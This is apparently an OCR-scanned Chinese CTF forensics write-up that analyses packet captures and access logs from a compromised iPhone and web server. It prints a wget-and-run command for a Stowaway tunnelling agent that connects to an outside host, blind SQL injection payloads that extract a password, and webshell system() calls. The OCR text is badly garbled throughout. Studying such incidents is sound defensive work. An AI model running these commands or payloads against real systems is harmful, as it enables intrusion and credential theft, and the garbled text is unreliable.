Y S R A A I e O L D e e e 94X 40eK 1s

I el el e e = A I B

B i e e e A e 97% 276K @s

Ll SRS S e e S e S e s e S

3900K ......

G S SR lase e 100%
2021-08-29 ©1:§3:35 (368 KB/s) - "ios_agent’' saved [4061072/4861072]
testiphonex:~ # ./ios_agent -c 3.128.156.159:8@81 -s hackdsec
2021/08/28 17:§3:5@ [*] Starting agent node actively.Connectingrtpalziiéy S > 8081

WG 5 BGE RS SELERE, W FR:

key.key
testiphonex:~ root# https://github. com/phdntonn/Stowaway/releases/download/1.6.2/ios_agent 88 ¢ 755 ios_agent
--2021-08-29 91:52:11-- | https://github.com/phdntonn/Stowaway /releases/download/1.6.2/ios_agent

Resolving github.com... [13.250.177.223
Connecting to github.c -
HTTP request sent, awaiting response... 382 Found
Location: https://github-releases.githubusercontent.com/221836131/b53B4Fc6-6372-498b-83ac-F475fae3f64b?X-Amz -Algoritha=4
Credential =AKIAIWNIYAXACSVEHS 3AX2F 20210828X2F us -east-1%2F s IX2F awsd_requesthX-Amz-Date~20210828717532128X - Amz -Expires=380
Signature=adf5852da7ale@4779214F2421d447b13319F0c 33b84c 01 c44dadBIbESBLEIRX - Anz - SignedHeaders=hostRactor_id=088key_id-0&
content-disposition=attacheentX3B%20f1lenameXDios_agenthresponse-content-type=applicationX2Foctet-stream [following]
--2021-88-29 01:53:22-- https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-B3ac-fa75fFae3fodbrX-
Anz-Credential =AKTATWN)YAXACSVENSIAX2F20210828%2Fus-east - 1X2F s 3IX2Fawsd_requestiX-Amz-Date=20210828T17532174X-Anz -Expires
Signature=adf5852da7a1e84779214£ 2421 d447b13319f0c 33b84c01c4B4dadBIIDE58L6FRX - Amz -S i gnedHeadars=hns th mrm-ﬂv'; B8k {d-08
cnntel'lt-di!positim-ltuc_nmmllMElos_lﬂlﬂt&responu-:Mt.ﬂt-melltltiOﬁE&ﬁgﬂM = "‘%J' s 9.8

BAC&CHR %45 93.128.156.159,
10.2

[ B #iik 1
REF K Github PRI E )42 ¥ 2 __stowaway_ . (WHFEHEEMFERHSE)



[#ENE]
BT oithubF AP XA IR B A NS, LRSI T HE .

ADA® +t BER@ Q>0 «>HN oo ol

Packet details ~ Narrow & Wide Case sensitive String ~ github

Time Source Destination Protocol Length Info
265 37.000000 192.168.1.12 192.168.1.255 ubpP 305 54915 —~ 54915 Len=263
266 37.000000 3.128.156.159 192.168.1.8 TCP 66 8080 — 55704 [ACK] Seq=4 Ack=63 Win=26880 Len=0 TSval=29Z
267 38.000000 9.8.8.8 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID 8x1084ebde
268 38.000000 192.168.1.12 192.168.1.255 ubp 305 54915 —~ 54915 Len=263
269 39.000000 192.168.1.12 192.168.1.255 ubDpP 365 54915 -~ 54915 Len=263
270 40.000000 192.168.1.3 255.255.255.255 ubpP 130 12476 —~ 12476 Len=88

272 40.000000 192.168.1.12 192.168.1.255 ubDP 365 54915 -~ 54915 Len=263
273 41.000000 3.128.156.159 192.168.1.8 TCP 165 8080 — 55704 [PSH, ACK] Seq=4 Ack=63 Win=26880 Len=99 TS\

Transmission Control Pri . SrC 04, Seq: 4, Ack: 63
Hypertext Transfer Protocol
~ wget https://github.com/phd4ntonn/Stowaway/releases .2/10s_agent && chmod 755 ios_agent\n

Fr. r

, Len: 99

9c 8 f 4 ) B d ‘U

90 97 B : . = = =

] 16 98 a2 39 £ D 86 8 P

C[¢] 54 9b © 6 P8 © 94 b 9 ¥ b
Gwget || ttps://g

ithub.co m/phanto

nn/Stowa way/rele

ases/dow nload/1.

6.2/1i0s_ agent &8
chmod 7 55 ios_a

gent -

ADA® +t BEB@ a«¢«»n «>»>rPE ool

Packet details ~ Narrow & Wide Case sensitive String = github Cancel

Time Source Destination Protocol Length Info
267 38.000000 0.0.0.9 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©x10@4ebde =
268 38.000000 192.168.1. 192.168.1.255 uppP 305 54915 -~ 54915 Len=263 B
269 39.000000 192.168.1. 192.168.1.255 upp 305 54915 - 54915 Len=263
276 40.000000 192.168.1. 255.255.255.255 uppP 136 12476 —~ 12476 Len=88
272 40.000000 192.168.1.12 192.168.1.255 upbP 305 54915 — 54915 Len=263
273 41.000000 3.128.156.159 192.168.1.8 TCP 165 8080 — 55704 [PSH, ACK] Seq=4 Ack=63 Win=26880 Len=99 TS
274 41.000000 192.168.1.8 3.128.156.159 TCP 66 55704 — BOBO [ACK] Seq=63 Ack=103 Win=131712 Len=0 TSval
275 41.800000 192.168.1.8 3.128.156.159 TCP 162 55704 — BO8O [PSH, ACK] Seq=63 Ack=103 Win=131712 Len=96
[2 Re: embled TCP Segments (116 byte 4(20), #275(96)]
Hypertext Transfer Protocol
testiphonex:~ root# --2021-08-29 01:52:11-- https://github.com/phd4ntonn/Stowaway/releases/download/1.6.2/i0s_agent\n

74 65 73 74 69 70 68 6f 6e 65 78 7e 20 72 6f testipho nex:~ ro
6f 74 23 20 2d 2d 32 30 32 31 2d 38 2d 32 39 ot# --20 21-68-29
20 30 31 3a 35 32 3a 31 31 2d 2d 20 68 74 74 81:52:1 1-- hit
70 73 3a 2f 2f 67 69 74 68 75 62 63 6f 6d 2f ps://git hub.com/
70 68 34 6e 74 6f 6e 6e 2f 53 74 77 61 77 61 phdantonn /Stowawa
79 2Ff 72 65 6¢c 65 61 73 65 73 2T 6f 77 6e 6¢C y/releas es/downl
6f 61 64 2f 31 2e 36 2e 32 2f 69 73 5f 61 67 oad/1.6. 2/ios_ag
65 6e 74 @a ent-

LT BB R H B FR4: stowaways
10.3

[EH#R]
TN % S B S0 hackdsec o



[HENE]
WRIETCPHE, B HiZios_agentfin% % 4H 8 Chackdsec, W T EFTR:

248 14, OO0 5.128.1%. 1% 192.168.1.8 wr 66 B080 » 35704 [ACK] Seqel ACke2] Wine20880 Lened Tival=J92568808 Tiecrs194761008
P 37, 000000 5.128.1%. 1% 192.168.1.8 e 00 B0 » VTN [P, ACK] Seqel AckeZ] WiAeTOEE0 Lens) Thval=29rSe021E Tiecrs194761818
1 )7 eede00 192.148.1.8 3.128,1%6.19% e 66 55704 » B0N0 [ACK] Seqe21 Acked WiAcLVIBA0 Len=® Tival-IBAasal Thelr-201%821
162 17000000 192,148, 1.8 312,156,109 e B8 5T04 = B0Ne [P, ACK] Seqedl Acked WiAS1VIBSE Leae2) Tival=10416458% Ther=22%4a1145
I6) 17, eeeeen 310 1%. 19 192.168.1.8 " 6 B080 = S5 [ACK] Seged ACk=S) Win- 0SB0 Lened Thval-JI2SANUNEE Thacr-194 et
68 )7 . 000000 192, 168.1.8 3128,1%.19 we B S5T08 - B0 [PIH, ACK) Seqed) ACK-d WIN-11IBS0 Lea-20 TSval-1B4Tetsr] Thecr-T%es s Y0P
T KT, i B8, 156, 198 192, 068.1.8 ALt 66 Bedd « S50 [ACK] Seged ACked) WinedRERE Lened Thval-JIISARIRME Thecr-1RdPetary
3900K ..cicvenee sessescnes sessnsncsns ssnsnssnas ssussssnss 998 435K 05
IO cisvsscass os “os 100% 433K=11s

2021-08-29 01:53:35 (368 KB/s) - 'ios_agent’ saved [4061072/4061072]

testiphonex:~ roots ./ios_agent -¢ 3.128.156.159:8081 -g hackasec
2021/08/28 17:53:50 [*] Starting agent node actively.Connecting to 3.128.156.159:8081

A& 1m0, 55 BOR A 3 WAE M. ¢ vanls) 428N,

|B3E (B117 bytes) v BFRORGHNE/H AT v
CSDN @{EEMSHEF. . .
10.4
[HH#R]
BEEST —MMEUREYE  746558f3-c841-456b-85d7-d6¢c0f2edabb2 .
[#ENE]
XEFEENTLSEERSTHE . HiEDT, TLS i&#Fkeylog.txt
Tnwa | | | mmcla
TeamSpeak
TECMP Reassemble TLS records spanning multiple TCP segments
TELNET Reassemble TLS Application Data spanning multiple TLS records
Teredo [] Message Authentication Code (MAC), ignore “mac failed”
TETRA Pre-Shared Key | |
TFP
TFTP (Pre) Master-Secret log filename
—: | Thread lfsers\Snﬂmar\Desktop\ios\keylog. txt byy | RTD
on Thrift
» 55 Tibia
P TIPC
"k TiVoConne:
TLS
TNS
Token-Ring
— TPCP
a1 f8 TPKT v
3 dg ¢ :
. [ Cobil olummeEdnsr, i




BRI IL 98 http2, 2R JE X BUE AT Bk GX BEBEAT T 9 1 3F3#47 T urdecode)

nfo?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2B" _then_id_else_col1_end),

nfo?l=1&o0=(case when (select hex(substr(password,1,1)) from user)="2D" then id else coll end),
nfo?l=1&0=(case_when_(select_hex(substr(password,1,1))_from_user)="7B"_then _id_else_col1_end),

nfo?l=1&o0=(case when (select hex(substr(password,1,1)) from user)="7D" then id else coll end),
nfo?l=18&0=(case when (select hex(substr(password,1,1)) from user)="30" then id else col1 _end),

info?l=1&0=(case when (select hex(substr(password,1,1)) from user)="31" then id else col1 end),
info?l=1&o0=(case_when (select hex(substr(password,1,1)) from user)="32" then id else col1_end),
info?l=1&o0=(case when (select_hex(substr(password,1,1)) from user)="33" then id else col1 _end),
info?l=1&o0=(case_when_(select_hex(substr(password,1,1)) from user)="34" then id else col1_end),
info?l=1&o0=(case_ when_(select_hex(substr(password,1,1)) from user)="35" then id else col1_end),
info?l=1&o0=(case when (select hex(substr(password,1,1)) from user)="36" then id else col1l end),
info?l=1&o0=(case_when_(select_hex(substr(password,1,1)) from_user)="37"_then_id_else col1_end),
info?l=18&0=(case_when_(select_hex(substr(password,2,1)) from_user)="2B" _then_id _else col1_end),
info?l=1&o0=(case_when_(select_hex(substr(password,2,1))_from_user)="2D"_then_id_else_col1_end),
info?l=18&o0=(case_ when (select_hex(substr(password,2,1)) from user)="7B" then id else col1_end),
info?l=18&0=(case_when_(select_hex(substr(password,2,1))_from_user)="7D"_then_id_else_col1_end),
info?l=18&o0=(case when (select_hex(substr(password,2,1)) from user)="30" then id else col1 _end),
info?l=180=(case_when (select_hex(substr(password,2,1)) from user)="31"_then _id else col1_end),
info?l=18o0=(case when (select_hex(substr(password,2,1)) from user)="32" then id else col1_end),
info?l=1&0=(case_when_(select_hex(substr(password,2,1)) from_user)="33" then _id_else col1_end),
info?l=1&0=(case_when_(select_hex(substr(password,2,1)) from _user)="34" then id else col1_end),
info?l=1&0=(case_when _(select_hex(substr(password,3,1)) from user)="2B" then _id_else col1_end),
info?l=1&o0=(case when (select hex(substr(password,3,1)) from user)="2D" then id else col1 end),
info?l=1&o0=(case_when_(select_hex(substr(password,3,1))_from_user)="7B"_then_id_else_col1_end),
info?l=1&o0=(case_when_(select_hex(substr(password,3,1))_from_user)="7D0 tr@fi i ieEeiioF end),

XABER R H ST #, RIEhexi—TFRATLT
746558f3-c841-456b-85d7-d6c0f2edabb2
10.5

(7B #id ]
BEmOEMKEMSKEMEER_ 10499 . A IT 4k 0-45 kg 07



[#BENE]
1. ZETFBMRRSSHAT 90T, W UURBLE —E#7m OH# B ARip192.168.1.12, wiresharkid /545 R T HE:

triffic.peap

File Edit View Go Capture Analyze Statistics Telephony Wireless Is Help

ADA® tBR@ Qe »n<«>xPEoool

tip.-z.rc: =192.168.1.8 && ip.dst == 192.168.1.12

Packet details ~ Narrow & Wide v Case sensitive Cancel

Protocol Length Info

ESDINHaEsEHY S Siatartal .

triffic.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless
- .

AOA® +t RR@ Q2 ¢« >0 <« >N

_-ip.srr.= =192.168.1.8 && ip.dst == 192.168.1.12

Packet details ~ Narrow & Wide v Case sensitive

No. Time Source Destination Protocol Length Info

80388 1849.000000 192.168.1.8 192.168.1.12 . 78 56209 —~ 499 [SYN] Seq=0 'Win=65535 Len=0 MSS=1460 WS=64 T

SN 5 PSS~

2. HAMSAMEEN: 10-499.
10.6 & R & M write up

(7B ik ]
PWEEHEFHLWEE TRRAHENER .

[#fENE]
10.7

[ H#R]
mEYi /M T AME LA RS2, IPH#bt N 172.28.0.2#192.168.1.12_ .

[HRIENE]
771 access.logiREAEKI, 172.28.0.28C#Bd. 4& LEBKIERR, A AR192.168.1.12,

FEE2: BERALHbHE9192.168.1.8, BRIk HTEIpN192.168.1.8, HirHbht A HipKtcpii E, KIAFANIP:
172.28.0.2#192.168.1.12.

10.8

[FH#R]
EEREHNT —Awebshell, HELA_ ok .



[EERNE]
S ifiaccess.log B T 3R 15 2] 5 A [fiwebshell# idfxxk o

[zszugIEB‘ :18:44:48 +8880] "GET /favicon.ico HTTPfl.l“ 2080 43 “http:f?l?Z.EB.a.ZJupload.php" "Mozilla/5.8 {Macintcs Intel Mac 0S X 16:15: ) AppleWebKit/53

[28/Aug/2021:18:45:14 +8eee] "GET //ma.php?fxxk=system(base64_decode(%27d2hvYWip%27)); HTTP/1.1" 26@ 38 "-" “"Mozilla/5.@ (Macintosh; Intel Mac 0S X 18_15_3) A

[28/Aug/2821:18:4 "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.6.2//ma.php’fxxk: system(base64_decode(%27d2hvyWip%27));" "Mozilla/5.8 (Macintos
945.138 Safari/537.3

- [28/Aug/2021:18:47: "POST /ma.php HTTP/1.1" 28@ 156 "-" "Mozilla/5.8 (Macintosh; U; Intel Mac 0S X 18_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like

(
[28/Aug/2021: "POST /ma.php HTTP/1.1" 2@@ 141 "-" "Mozilla/5.© (compatible; MSIE 10.8; Macintosh; Intel Mac 0S X 18_7_3; Trident/6.8)" "-"

28/Aug/2021: "POST /ma.ph| 200 142 Mozilla/5.0 (compatible; MSIE 9.8; Windows NT 6.8) Opera 12.14"

[ php P ) Op

[28/Aug/20821: "POST .php 280 144 Mozilla/5.8 (Windows NT 6.2; Winé4; x64; rv:27.8) Gecko/20121811 Firefox/27.8" "-"
[28/Aug/2021: “POST /ma.php HTTP/1.1" 2@@ 261 "-" "Mozilla/5.8 (Windows NT 6.3; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.8.
[28/Aug/2021:18: “POST .php HTTP/1.1" 208 5@ "Mozilla/5.8 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.8.1656.16 Safar:

SDN @{gsefIsHiEs . . .
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